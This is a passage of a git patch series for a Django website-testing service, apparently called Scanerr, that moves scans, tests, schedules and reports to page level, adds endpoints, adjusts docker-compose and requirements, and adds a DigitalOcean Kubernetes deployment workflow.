+        test = Test.objects.get(id=id)
+    except:
+        data = {'reason': 'cannot find a Test with that id'}
         record_api_call(request, data, '404')
         return Response(data, status=status.HTTP_404_NOT_FOUND)
         
-    site = scan.site
+    site = test.site
     user = request.user
     account = Member.objects.get(user=user).account
 
-
     if site.account != account:
-        data = {'reason': 'delete Scans of a Site you do not own',}
+        data = {'reason': 'delete Tests of a Site you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
+    
+    delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+    test.delete()
 
-    scan.delete()
-
-    data = {'message': 'Scan has been deleted',}
+    data = {'message': 'Test has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
 
 
 
-def delete_many_scans(request):
+
+def delete_many_tests(request):
     ids = request.data.get('ids')
     user = request.user
     account = Member.objects.get(user=user).account
@@ -857,9 +1546,10 @@ def delete_many_scans(request):
 
         for id in ids:
             try:
-                scan = Scan.objects.get(id=id)
-                if scan.site.account == account:
-                    scan.delete()
+                test = Test.objects.get(id=id)
+                if test.site.account == account:
+                    delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+                    test.delete()
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
@@ -868,17 +1558,16 @@ def delete_many_scans(request):
                 this_status = False
 
         data = {
-            'status': this_status,
+            'success': this_status,
             'num_succeeded': num_succeeded,
             'succeeded': succeeded,
             'num_failed': num_failed,
             'failed': failed, 
         }
-        
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
-
+    
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -890,24 +1579,34 @@ def delete_many_scans(request):
 
 
 
+
+
+
 def create_or_update_schedule(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
         return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-
     try:
         site = Site.objects.get(id=request.data.get('site_id'))
         if site.account != account and site.account != None:
-            data = {'reason': 'create a Schedule of a Site you do not own',}
+            data = {'reason': 'cannot create a Schedule for a Site you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
     except:
         site = None
+    try:
+        page = Page.objects.get(id=request.data.get('page_id'))
+        if page.account != account and page.account != None:
+            data = {'reason': 'cannot create a Schedule for a Page you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    except:
+        page = None
     try:
         schedule = Schedule.objects.get(id=request.data.get('schedule_id'))
         if schedule.account != account and schedule.account != None:
@@ -928,9 +1627,16 @@ def create_or_update_schedule(request):
     scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
     configs = request.data.get('configs', None)
     schedule_id = request.data.get('schedule_id', None)
+    site_id = request.data.get('site_id', None)
+    page_id = request.data.get('page_id', None)
     case_id = request.data.get('case_id', None)
     updates = request.data.get('updates', None)
 
+    # converting to str for **kwargs
+    if site_id is not None:
+        site_id = str(site_id)
+    if page_id is not None:
+        page_id = str(page_id)
 
     if configs is None:
         configs = {
@@ -969,7 +1675,8 @@ def create_or_update_schedule(request):
         if task_type == 'test':
             task = 'api.tasks.create_test_bg'
             arguments = {
-                'site_id': str(site.id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'configs': configs, 
                 'type': test_type,
                 'automation_id': auto_id
@@ -978,7 +1685,8 @@ def create_or_update_schedule(request):
         if task_type == 'scan':
             task = 'api.tasks.create_scan_bg'
             arguments = {
-                'site_id': str(site.id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'configs': configs,
                 'type': scan_type,
                 'automation_id': auto_id
@@ -987,7 +1695,8 @@ def create_or_update_schedule(request):
         if task_type == 'report':
             task = 'api.tasks.create_report_bg'
             arguments = {
-                'site_id': str(site.id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'automation_id': auto_id
             }
 
@@ -995,8 +1704,8 @@ def create_or_update_schedule(request):
         if task_type == 'testcase':
             task = 'api.tasks.create_testcase_bg'
             arguments = {
-                'site_id': str(site.id),
-                'case_id': str(case_id),
+                'site_id': site_id,
+                'page_id': page_id,
                 'updates': updates,
                 'configs': configs,
                 'automation_id': auto_id,
@@ -1024,12 +1733,23 @@ def create_or_update_schedule(request):
             day_of_week = '*'
             day_of_month = day
 
+        
+        if site is not None:
+            url = site.site_url
+            level = 'site'
+        if page is not None:
+            url = page.page_url
+            level = 'page'
+
 
-        task_name = str(task_type) + '_' + str(site.site_url) + '_' + str(freq) + '_@' + str(time)
+        task_name = str(task_type) + '_' + str(level) + '_' + str(url) + '_' + str(freq) + '_@' + str(time) + '_' + str(account.user.id)
 
         crontab, _ = CrontabSchedule.objects.get_or_create(
-            timezone=timezone, minute=minute, hour=hour,
-            day_of_week=day_of_week, day_of_month=day_of_month,
+            timezone=timezone, 
+            minute=minute, 
+            hour=hour,
+            day_of_week=day_of_week, 
+            day_of_month=day_of_month,
         )
 
         if schedule:
@@ -1037,15 +1757,18 @@ def create_or_update_schedule(request):
                 periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id)
                 periodic_task.update(
                     crontab=crontab,
-                    name=task_name, task=task,
+                    name=task_name, 
+                    task=task,
                     kwargs=json.dumps(arguments),
                 )
                 periodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
             else:
                 periodic_task = PeriodicTask.objects.create(
-                crontab=crontab, name=task_name, task=task,
-                kwargs=json.dumps(arguments),
-            )
+                    crontab=crontab,
+                    name=task_name, 
+                    task=task,
+                    kwargs=json.dumps(arguments),
+                )
 
         else:
             if PeriodicTask.objects.filter(name=task_name).exists():
@@ -1054,7 +1777,9 @@ def create_or_update_schedule(request):
                 return Response(data, status=status.HTTP_401_UNAUTHORIZED)
                 
             periodic_task = PeriodicTask.objects.create(
-                crontab=crontab, name=task_name, task=task,
+                crontab=crontab, 
+                name=task_name, 
+                task=task,
                 kwargs=json.dumps(arguments),
             )
 
@@ -1070,17 +1795,30 @@ def create_or_update_schedule(request):
             schedule_query = Schedule.objects.filter(id=schedule_id)
             if schedule_query.exists():
                 schedule_query.update(
-                    user=request.user, timezone=timezone,
-                    begin_date=begin_date, time=time, frequency=freq,
-                    task=task, crontab_id=crontab.id, task_type=task_type,
-                    extras=extras, account=account
+                    user=request.user, 
+                    timezone=timezone,
+                    begin_date=begin_date, 
+                    time=time, 
+                    frequency=freq,
+                    task=task, 
+                    crontab_id=crontab.id, 
+                    task_type=task_type,
+                    extras=extras, 
+                    account=account
                 )
                 schedule_new = Schedule.objects.get(id=schedule_id)
         else:
             schedule_new = Schedule.objects.create(
-                user=request.user, site=site, task_type=task_type, timezone=timezone,
-                begin_date=begin_date, time=time, frequency=freq,
-                task=task, crontab_id=crontab.id,
+                user=request.user, 
+                site=site,
+                page=page, 
+                task_type=task_type, 
+                timezone=timezone,
+                begin_date=begin_date, 
+                time=time, 
+                frequency=freq,
+                task=task, 
+                crontab_id=crontab.id,
                 periodic_task_id=periodic_task.id,
                 extras=extras,
                 account=account
@@ -1100,7 +1838,7 @@ def get_schedules(request):
     account = Member.objects.get(user=user).account
     schedule_id = request.query_params.get('schedule_id')
     site_id = request.query_params.get('site_id')
-
+    page_id = request.query_params.get('page_id')
 
     if schedule_id != None:
         try:
@@ -1109,9 +1847,8 @@ def get_schedules(request):
             data = {'reason': 'cannot find a Schedule with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-
         if schedule.site.account != user or schedule.account != account:
-            data = {'reason': 'retrieve Schedules of a Site you do not own',}
+            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
@@ -1121,20 +1858,33 @@ def get_schedules(request):
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-
-    try:
-        site = Site.objects.get(id=site_id)
-    except:
-        data = {'reason': 'cannot find a Site with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-    if site.account != account:
-        data = {'reason': 'retrieve Schedules of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    if site_id is not None:
+        try:
+            site = Site.objects.get(id=site_id)
+        except:
+            data = {'reason': 'cannot find a Site with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        if site.account != account:
+            data = {'reason': 'cannot retrieve Schedules of a Site you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        
+        schedules = Schedule.objects.filter(site=site).order_by('-time_created')
     
-    schedules = Schedule.objects.filter(site=site).order_by('-time_created')
+    if page_id is not None:
+        try:
+            page = Page.objects.get(id=page_id)
+        except:
+            data = {'reason': 'cannot find a Page with that id'}
+            record_api_call(request, data, '404')
+            return Response(data, status=status.HTTP_404_NOT_FOUND)
+        if page.account != account:
+            data = {'reason': 'cannot retrieve Schedules of a Page you do not own',}
+            record_api_call(request, data, '403')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        
+        schedules = Schedule.objects.filter(page=page).order_by('-time_created')
         
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
@@ -1157,11 +1907,10 @@ def delete_schedule(request, id):
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
     task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-    site = schedule.site
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if site.account != account:
+    if schedule.account != account:
         data = {'reason': 'delete Schedules you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
@@ -1180,11 +1929,12 @@ def delete_schedule(request, id):
 
 
 
+
 def create_or_update_automation(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -1212,6 +1962,8 @@ def create_or_update_automation(request):
     name = request.data.get('name')
     expressions = request.data.get('expressions')
     actions = request.data.get('actions')
+    site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
 
     if automation:
         automation.name = name
@@ -1222,8 +1974,12 @@ def create_or_update_automation(request):
 
     if not automation:
         automation = Automation.objects.create(
-            name=name, expressions=expressions, actions=actions,
-            schedule=schedule, user=request.user, account=account
+            name=name, 
+            expressions=expressions, 
+            actions=actions,
+            schedule=schedule, 
+            user=request.user, 
+            account=account
         )
 
     if schedule:
@@ -1231,8 +1987,17 @@ def create_or_update_automation(request):
         schedule.save()
         # update associated periodicTask
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+        
+        site_id = None
+        if schedule.site is not None:
+            site_id = str(schedule.site.id)
+        page_id = None
+        if schedule.page is not None:
+            page_id = str(schedule.page.id)
+
         arguments = {
-            'site_id': str(schedule.site.id),
+            'site_id': site_id,
+            'page_id': page_id,
             'automation_id': str(automation.id),
             'configs': json.loads(task.kwargs).get('configs', None), 
             'type': json.loads(task.kwargs).get('type', None),
@@ -1320,12 +2085,12 @@ def create_or_update_report(request):
     account = Member.objects.get(user=user).account
 
     report_id = request.data.get('report_id', None)
-    site_id = request.data.get('site_id', None)
+    page_id = request.data.get('page_id', None)
     report_type = request.data.get('type', ['lighthouse', 'yellowlab'])
     text_color = request.data.get('text_color', '#24262d')
     background_color = request.data.get('background_color', '#e1effd')
     highlight_color = request.data.get('highlight_color', '#4283f8')
-    site = Site.objects.get(id=site_id)
+    page = Page.objects.get(id=page_id)
 
     info = {
         "text_color": text_color,
@@ -1348,7 +2113,8 @@ def create_or_update_report(request):
     
     else:
         report = Report.objects.create(
-            user=request.user, site=site, 
+            user=request.user, 
+            page=page, 
             account=account
         )
 
@@ -1374,19 +2140,20 @@ def create_or_update_report(request):
 
 
 def get_reports(request):
-    site_id = request.query_params.get('site_id', None)
+    page_id = request.query_params.get('page_id', None)
     report_id = request.query_params.get('report_id', None)
     user = request.user 
     account = Member.objects.get(user=user).account
 
-    if site_id:
+    if page_id:
         try:
-            site = Site.objects.get(id=site_id)
+            page = Page.objects.get(id=page_id)
+            reports = Report.objects.filter(page=page, account=account).order_by('-time_created')
         except:
-            data = {'reason': 'cannot find a Site with that id'}
+            data = {'reason': 'cannot find a Page with that id'}
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
-        reports = Report.objects.filter(site=site, account=account).order_by('-time_created')
+        
 
     if report_id:
         try:
@@ -1396,7 +2163,7 @@ def get_reports(request):
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
-    if site_id is None and report_id is None:
+    if page_id is None and report_id is None:
         reports = Report.objects.filter(user=request.user).order_by('-time_created')
 
     paginator = LimitOffsetPagination()
@@ -1498,7 +2265,7 @@ def create_or_update_case(request):
     user = request.user
     account = Member.objects.get(user=user).account
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -1630,7 +2397,7 @@ def create_testcase(request, delay=False):
     account = Member.objects.get(user=user).account
 
 
-    account_is_active = check_account(request)
+    account_is_active = check_account(request=request)
     if not account_is_active:
         data = {'reason': 'account not funded',}
         record_api_call(request, data, '402')
@@ -1800,7 +2567,7 @@ def delete_testcase(request, id):
 def get_logs(request):
 
     log_id = request.query_params.get('log_id')
-    request_status = request.query_params.get('status')
+    request_status = request.query_params.get('success')
     request_type = request.query_params.get('request_type')
 
     if log_id != None:
@@ -1926,12 +2693,12 @@ def migrate_site(request, delay=False):
 
         if wp_status: 
             data = {
-                'status': 'success',
+                'success': 'success',
                 'message': 'site migration succeeded'
             }
         else:
             data = {
-                'status': 'failed',
+                'success': 'failed',
                 'message': 'site migration failed'
             }
 
@@ -1954,12 +2721,12 @@ def migrate_site(request, delay=False):
 
         if wp_status: 
             data = {
-                'status': 'success',
+                'success': 'success',
                 'message': 'site migration succeeded'
             }
         else:
             data = {
-                'status': 'failed',
+                'success': 'failed',
                 'message': 'site migration failed'
             }
 
@@ -2029,3 +2796,34 @@ def get_home_stats(request):
     return response
 
 
+
+
+
+def get_site_stats(request):
+    user = request.user
+    account = Member.objects.get(user=user).account
+    site_id = request.query_params.get('site_id')
+    site = Site.objects.get(id=site_id)
+    pages = Page.objects.filter(site=site)
+    page_count = pages.count()
+    test_count = 0
+    scan_count = 0
+    schedule_count = 0
+    for page in pages:
+        tests = Test.objects.filter(page=page)
+        scans = Scan.objects.filter(page=page)
+        schedules = Schedule.objects.filter(page=page)
+        test_count = test_count + tests.count()
+        scan_count = scan_count + scans.count()
+        schedule_count = schedule_count + schedules.count()
+
+    data = {
+        "pages": page_count, 
+        "tests": test_count,
+        "scans": scan_count,
+        "schedules": schedule_count,
+    }
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 8dc20b9e..ce155744 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -24,7 +24,7 @@ def create_site_task(site_id, scan_id, configs):
 
 def create_scan_task(
         scan_id=None,
-        site_id=None, 
+        page_id=None, 
         type=['full'],
         automation_id=None, 
         configs=None,
@@ -32,10 +32,11 @@ def create_scan_task(
     ):
     if scan_id is not None:
         created_scan = Scan.objects.get(id=scan_id)
-    elif site_id is not None:
-        site = Site.objects.get(id=site_id)
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
         created_scan = Scan.objects.create(
-            site=site,
+            site=page.site,
+            page=page,
             type=type,
             configs=configs,
             tags=tags, 
@@ -71,7 +72,7 @@ def run_yellowlab_task(scan_id=None):
 
 def create_test_task(
         test_id=None, 
-        site_id=None,
+        page_id=None,
         automation_id=None, 
         configs=None, 
         type=['full'],
@@ -83,11 +84,12 @@ def create_test_task(
 
     if test_id is not None:
         created_test = Test.objects.get(id=test_id)
-        site = created_test.site
-    elif site_id is not None:
-        site = Site.objects.get(id=site_id)
+        page = created_test.page
+    elif page_id is not None:
+        page = Page.objects.get(id=page_id)
         created_test = Test.objects.create(
-            site=site,
+            site=page.site,
+            page=page,
             type=type,
             tags=tags,
         )
@@ -98,10 +100,10 @@ def create_test_task(
         post_scan = Scan.objects.get(id=post_scan)
 
     if post_scan is None and pre_scan is not None:
-        post_scan = S(site=site, scan=pre_scan, configs=configs, type=type).second_scan()
+        post_scan = S(site=page.site, page=page, scan=pre_scan, configs=configs, type=type).second_scan()
         
     if pre_scan is None and post_scan is None:
-        new_scan = S(site=site, configs=configs, type=type)
+        new_scan = S(site=page.site, page=page, configs=configs, type=type)
         post_scan = new_scan.second_scan()
         pre_scan = post_scan.paired_scan
 
@@ -126,10 +128,12 @@ def create_test_task(
 
 
 
-def create_report_task(site_id, automation_id=None):
-    site = Site.objects.get(id=site_id)
-    if Report.objects.filter(site=site).exists():
-       report = Report.objects.filter(site=site).order_by('-time_created')[0]
+def create_report_task(page_id=None, automation_id=None):
+    
+    page = Page.objects.get(id=page_id)
+
+    if Report.objects.filter(page=page).exists():
+        report = Report.objects.filter(site=site).order_by('-time_created')[0]
     else:
         info = {
             "text_color": '#24262d',
@@ -138,11 +142,11 @@ def create_report_task(site_id, automation_id=None):
         }
         report = Report.objects.create(
             user=site.user,
-            site=site,
+            site=page.site,
+            page=page,
             info=info,
             type=['lighthouse', 'yellowlab']
         )
-
     
     report = R(report=report).make_test_report()
     if automation_id:
@@ -171,6 +175,7 @@ def delete_site_s3(site_id):
         pass
 
     return
+    
 
 
 
@@ -196,7 +201,6 @@ def delete_testcase_s3(testcase_id):
     
 
 
-
 def delete_report_s3(report_id):
     # setup boto3 configurations
     s3 = boto3.resource('s3', 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index f0d0f7ab..2178fc87 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -5,18 +5,25 @@
 urlpatterns = [
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
+    path('site/<uuid:id>/crawl', views.SiteCrawl.as_view(), name='site-crawl'),
     path('site/delay', views.SiteDelay.as_view(), name='site-delay'),
     path('sites/delete', views.SitesDelete.as_view(), name='sites-delete'),
+    path('page', views.Pages.as_view(), name='page'),
+    path('page/<uuid:id>', views.PageDetail.as_view(), name='page-detail'),
+    path('page/delay', views.PageDelay.as_view(), name='page-delay'),
+    path('pages/delete', views.PagesDelete.as_view(), name='pages-delete'),
     path('scan', views.Scans.as_view(), name='scan'),
     path('scan/<uuid:id>', views.ScanDetail.as_view(), name='scan-detail'),
     path('scan/<uuid:id>/lean', views.ScanLean.as_view(), name='scan-lean'),
     path('scan/delay', views.ScanDelay.as_view(), name='scan-delay'),
     path('scans/delete', views.ScansDelete.as_view(), name='scans-delete'),
+    path('scans/create', views.ScansCreate.as_view(), name='scans-create'),
     path('test', views.Tests.as_view(), name='test'),
     path('test/<uuid:id>', views.TestDetail.as_view(), name='test-detail'),
     path('test/<uuid:id>/lean', views.TestLean.as_view(), name='test-lean'),
     path('test/delay', views.TestDelay.as_view(), name='test-delay'),
     path('tests/delete', views.TestsDelete.as_view(), name='tests-delete'),
+    path('tests/create', views.TestsCreate.as_view(), name='tests-create'),
     path('log', views.Logs.as_view(), name='log'),
     path('log/<uuid:id>', views.LogDetail.as_view(), name='log-detail'),
     path('schedule', views.Schedules.as_view(), name='schedule'),
@@ -26,6 +33,7 @@
     path('report', views.Reports.as_view(), name='report'),
     path('report/<uuid:id>', views.ReportDetail.as_view(), name='report-detail'),
     path('home-stats', views.HomeStats.as_view(), name='home-stats'),
+    path('site-stats', views.SiteStats.as_view(), name='site-stats'),
     path('process', views.Processes.as_view(), name='process'),
     path('process/<uuid:id>', views.ProcessDetail.as_view(), name='process-detail'),
     path('case', views.Cases.as_view(), name='case'),
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index 2bc92ea0..61db54ac 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -67,6 +67,15 @@ def post(self, request):
 
 
 
+class SiteCrawl(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request, id):
+        response = crawl_site(request, id)
+        return response
+
+
 class SitesDelete(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
@@ -78,6 +87,66 @@ def post(self, request):
 
 
 
+class Pages(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post', 'get']
+    pagination_class = LimitOffsetPagination
+
+    def post(self, request):
+        response = create_page(request)
+        return response
+
+    def get(self, request):
+        response = get_pages(request)
+        return response
+    
+
+
+class PageDetail(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get', 'delete']
+
+    def get(self, request, id):
+        page = get_object_or_404(Page, pk=id)
+        user = request.user
+        account = Member.objects.get(user=user).account
+        if page.account != account:
+            data = {'reason': 'you cannot retrieve a Page you do not own',}
+            record_api_call(request, data, '401')
+            return Response(data, status=status.HTTP_403_FORBIDDEN)
+        serializer_context = {'request': request,}
+        serialized = PageSerializer(page, context=serializer_context)
+        data = serialized.data
+        record_api_call(request, data, '200')
+        return Response(data, status=status.HTTP_200_OK) 
+
+    def delete(self, request, id):
+        response = delete_page(request, id)
+        return response
+
+
+
+class PageDelay(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = create_page(request, delay=True)
+        return response
+
+
+
+class PagesDelete(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = delete_many_pages(request)
+        return response
+
+
+
+
 class Scans(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post', 'get',]
@@ -136,6 +205,17 @@ def post(self, request):
         return response
 
 
+
+class ScansCreate(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = create_many_scans(request)
+        return response
+
+
+
 class ScansDelete(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
@@ -205,6 +285,15 @@ def post(self, request):
         return response
 
 
+class TestsCreate(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['post',]
+
+    def post(self, request):
+        response = create_many_tests(request)
+        return response
+
+
 class TestsDelete(APIView):
     permission_classes = (AllowAny,)
     http_method_names = ['post',]
@@ -486,6 +575,15 @@ def get(self, request):
 
 
 
+class SiteStats(APIView):
+    permission_classes = (AllowAny,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = get_site_stats(request)
+        return response
+
+
 
 class Processes(APIView):
     permission_classes = (AllowAny,)
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index fa01f3a1..e1171a0d 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -11,9 +11,9 @@ services:
       - ./app:/app
       - static_volume:/app/static
     command: >
-      sh -c "python3 manage.py makemigrations  --no-input &&
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
-             python3 manage.py collectstatic --no-input &&
              python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml
index da5cd6f8..38826afb 100644
--- a/docker-compose.prod.yml
+++ b/docker-compose.prod.yml
@@ -13,10 +13,10 @@ services:
       - ./app:/app
       - static_volume:/app/static
     command: >
-      sh -c "python3 manage.py makemigrations  --no-input &&
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate  --no-input &&
              python3 manage.py collectstatic --no-input &&
-             python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
diff --git a/docker-compose.yml b/docker-compose.yml
index a80234e6..294b39f3 100644
--- a/docker-compose.yml
+++ b/docker-compose.yml
@@ -14,10 +14,10 @@ services:
     volumes:
       - ./app:/app
     command: >
-      sh -c "python3 manage.py makemigrations  --no-input &&
+      sh -c "python3 manage.py wait_for_db &&
+             python3 manage.py makemigrations  --no-input &&
              python3 manage.py migrate --no-input &&
              python3 manage.py collectstatic --no-input &&
-             python3 manage.py wait_for_db &&
              python3 manage.py create_admin &&
              python3 manage.py driver_s_test &&
              python3 manage.py driver_p_test && 
@@ -46,7 +46,7 @@ services:
     restart: always
     build:
       context: .
-      dockerfile: Dockerfile.prod
+      dockerfile: Dockerfile
     # image: landonr/scanerr-server
     command: celery -A scanerr worker --beat --scheduler django --loglevel=info
     volumes:
diff --git a/requirements.txt b/requirements.txt
index df9fe6b2..e546b252 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -1,5 +1,6 @@
 amqp==5.0.6
 asgiref==3.3.4
+beautifulsoup4==4.12.2
 billiard==3.6.4.0
 boto3==1.20.32
 celery==5.1.0
@@ -21,11 +22,12 @@ docker==5.0.0
 gunicorn==20.1.0
 humanize==3.7.0
 idna==2.10
+imutils==0.5.4
 kombu==5.1.0
 Markdown==3.3.4
 numpy==1.22.3
 opencv-python==4.5.5.64
-Pillow==9.0.0
+Pillow==9.0.1
 prometheus-client==0.8.0
 prompt-toolkit==3.0.18
 psycopg2==2.8.6
@@ -35,6 +37,7 @@ pytz==2021.1
 redis==3.5.3
 requests==2.25.1
 reportlab==3.6.6
+scikit-image==0.21.0
 scipy==1.8.0
 selenium==4.1.3
 sendgrid==6.9.7

From f615eda1b96e2ec67c6e719b0d5cd910952dce70 Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:06:09 -0500
Subject: [PATCH 0005/1099] adding workflow

---
 .github/workflow/wokflow.yml | 68 ++++++++++++++++++++++++++++++++++++
 1 file changed, 68 insertions(+)
 create mode 100644 .github/workflow/wokflow.yml

diff --git a/.github/workflow/wokflow.yml b/.github/workflow/wokflow.yml
new file mode 100644
index 00000000..4a3fcdd5
--- /dev/null
+++ b/.github/workflow/wokflow.yml
@@ -0,0 +1,68 @@
+# This workfow shows how to build a Docker image, tag and push it to DigitalOcean Container Registry, and
+# deploy the application on a DIgitalOcean Kubernetes cluster. For description to the entire worklow, 
+# see www.digitalocean.com/docs/kubernetes/how-to/deploy-using-github-actions.
+
+name: Build, push, and deploy
+
+# Controls when the action will run.
+on:
+  # Triggers the workflow on push request on the main branch for changes in the specified paths.
+  push:
+    branches:
+      - main
+    paths:
+      - 'app/**'
+      - 'k8s/prod/**'
+      - 'Dockerfile'
+      - '.github/workflows/**'
+
+# A workflow run is made up of one or more jobs that can run sequentially or in parallel.
+jobs:
+  # This workflow contains a single job called "build".
+  build:
+    # The type of runner that the job will run on.
+    runs-on: ubuntu-latest
+    
+    # Steps represent a sequence of tasks that will be executed as part of the job
+    steps:
+
+    # Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it.
+    - name: Checkout master
+      uses: actions/checkout@main
+
+    # Install doctl.
+    - name: Install doctl
+      uses: digitalocean/action-doctl@v2
+      with:
+        token: ${{ secrets.DIGITALOCEAN_ACCESS_TOKEN }}
+    
+    # Build a Docker image of your application in your registry and tag the image with the $GITHUB_SHA.
+    - name: Build container image
+      run: docker build -t ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7) .
+
+    - name: Log in to DigitalOcean Container Registry with short-lived credentials
+      run: doctl registry login --expiry-seconds 1200
+
+    - name: Push image to DigitalOcean Container Registry
+      run: docker push ${{ secrets.REGISTRY_NAME }}/scanerr-server:$(echo $GITHUB_SHA | head -c7)
+
+    # Update deployment files to reflect new build.
+    - name: Update app deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    
+    - name: Update celery deployment file
+      run: TAG=$(echo $GITHUB_SHA | head -c7) && sed -i 's|<IMAGE>|${{ secrets.REGISTRY_NAME }}/scanerr-server:'${TAG}'|' $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Save DigitalOcean kubeconfig with short-lived credentials
+      run: doctl kubernetes cluster kubeconfig save --expiry-seconds 600 ${{ secrets.CLUSTER_NAME }}
+    
+    # Re-deploy app and Celery
+    - name: Deploy app
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/app-deployment.yml
+    - name: Deploy celery 
+      run: kubectl apply -f $GITHUB_WORKSPACE/k8s/prod/celery-deployment.yml
+
+    - name: Verify app
+      run: kubectl rollout status deployment/app-deployment
+    - name: Verify celery
+      run: kubectl rollout status deployment/celery-deployment
\ No newline at end of file

From 038fe6e5762b5eaf9c11b8ac6d216a07140dc2cb Mon Sep 17 00:00:00 2001
From: landon <l.rodden52@gmail.com>
Date: Thu, 20 Jul 2023 21:06:24 -0500
Subject: [PATCH 0006/1099] updated deployment notes for k8s

---
 k8s/kubernetes-notes.md         | 46 ++++++++++++++++++++-------------
 k8s/prod/app-cert-issuer.yaml   |  2 +-
 k8s/prod/app-deployment.yaml    |  4 +--
 k8s/prod/app-ingress.yaml       |  8 +++---
 k8s/prod/celery-deployment.yaml |  4 +--
 5 files changed, 38 insertions(+), 26 deletions(-)

diff --git a/k8s/kubernetes-notes.md b/k8s/kubernetes-notes.md
index e0c92da2..20554be7 100644
--- a/k8s/kubernetes-notes.md
